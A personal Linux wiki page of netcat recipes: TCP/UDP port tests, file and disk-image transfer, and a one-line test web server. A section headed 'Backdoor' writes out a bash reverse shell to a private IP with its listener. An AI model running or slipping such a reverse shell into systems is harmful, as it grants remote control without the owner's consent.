Skip to main content

Primary links

  • Home
  • AI
  • Kubernetes
  • Incus
  • Ansible
  • Terraform
  • OpenStack
  • Virtualization
  • Linux
  • SmartHome
  • HowTo

Misc

  • Linux
    • Ubuntu
    • LTSP
    • HowTo
      • Add proposed repository
      • Anonymous rsync
      • Automatically move photos from memory card to hard drive with udev
      • Change SSH port
      • Compile XBMC
      • Compile lshw
      • Create Gnome menu entry
      • Create SSH netinstall ISO
      • Create squashfs
      • Downgrade Libreoffice to 3.3.4
      • Enable routing
      • Extract RPM
      • Fedora
      • Fix grub on btrfs partition
      • ImageMagic
      • Intel AMT (vPro) under Linux
      • Kernel options
      • Mirror page with wget (e.g. cacti)
      • Mount FTP
      • MultiBootUSB
      • Read SNMP
      • Remotely unlock encrypted root disk using SSH
      • Resize filesystem on LVM
      • SSH VPN server
      • Samba
      • Send HTML mail
      • Skipfish
      • Software RAID
      • Start app on second desktop
      • Sync Time
      • Test network bandwidth
      • Ubuntu DVD-RAM
      • Ubuntu Notify OSD
      • UmountMemoryCard.sh
      • VNC remote help
      • Ventoy
      • VirtualBox host interface
      • access RAID LVM harddisk
      • dd
      • dnsmasq
      • gnome-shell
      • grep, linux
      • hardware, linux
      • lmbench
      • maildroprc
      • meego
      • netcat
      • network bridge
      • nmap
      • processOrder.sh
      • ramdisk
      • rsnapshot
      • rsync
      • rsync
      • sshuttle
      • streamToInternet.sh
      • swapToFile.sh
      • tmux
      • udev
      • upstart
    • BASH
    • Backtrack
    • CUPS
    • CentOS
    • Debian
    • FreeNX
    • GRML
    • Gnome
    • Grub
    • IpFire
    • Kernel
    • Linux Lite
    • SSH
    • UEFI
    • dban
    • logrotate
    • parted
    • proxy
    • systemd
  • Hardware
  • Programming
  • Databases
  • Multimedia
  • Windows

Cloud

  • OpenStack
  • cloud-config
  • nextcloud

Virtualization

  • Virtualization
  • Incus
  • Docker
  • KVM
  • Kubernetes
  • LXC
  • LXD
  • QEMU
  • VMware
  • VirtualBox
  • multipass
  • podman
  • vagrant
  • XEN

Network

  • DNS
  • Firewall
  • Linux
  • OpenvSwitch
  • SSL
  • VLAN
  • VPN
  • iPXE
  • namespaces
  • nmcli
  • tcpdump

Storage

  • CEPH
  • DRBD
  • LVM
  • S3
  • ZFS
  • btrfs

Automation / CI/CD

  • Install
  • Ansible
  • GitLab
  • LLM
  • Preseed
  • Puppet
  • Terraform
  • Ubuntu autoinstall

Monitoring / Visualisation

  • Grafana
  • Icinga
  • Prometheus
  • Monitoring
  • ELK
  • mermaid
  • linux

Port test

# TCP port test
nc -l -p 8080 # server
nc ${SERVER_IP} 8080 # client

# UDP port test
nc -u -l -p 8080 # server
nc -u ${SERVER_IP} 8080 # client

without compression

# receiver
nc -l -p 1234 > out.file

# sender
nc -w 3 [destination] 1234 < out.file

with compression

# receiver 
nc -l -p 1234 | uncompress -c | tar xvfp -

# snder
tar cfp - /some/dir | compress -c | nc -w 3 [destination] 1234

transfer disk image

On the sender end run,
dd if=/dev/hda3 | gzip -9 | nc -l 3333

# receiver
nc [destination] 3333 | pv -b > hdImage.img.gz

Backdoor

# @host 1
nc -lvp 5001

# @host 2
bash -i >& /dev/tcp/10.0.1.24/5001 0>&1

# @host 1
while :; do hostname; date; sleep 1; done

Test WebServer

echo -e "HTTP/1.1 200 OK\n\n $(date)" | nc -l -p 80 -q 1

Links
https://www.cyberciti.biz/faq/bash-infinite-loop/
https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/
https://www.binarytides.com/netcat-tutorial-for-beginners/
https://linoxide.com/linux-how-to/install-use-netcat-command-linux/

Profiles GitHub StackOverflow LinkedIn Xing
Contact Imprint
© panticz 2026

Cookie-Einstellungen

Diese Website nutzt eingebettete Inhalte von Drittanbietern (z.B. YouTube, SoundCloud). Beim Laden dieser Inhalte werden Daten an die jeweiligen Anbieter übermittelt. Datenverarbeitungserklärung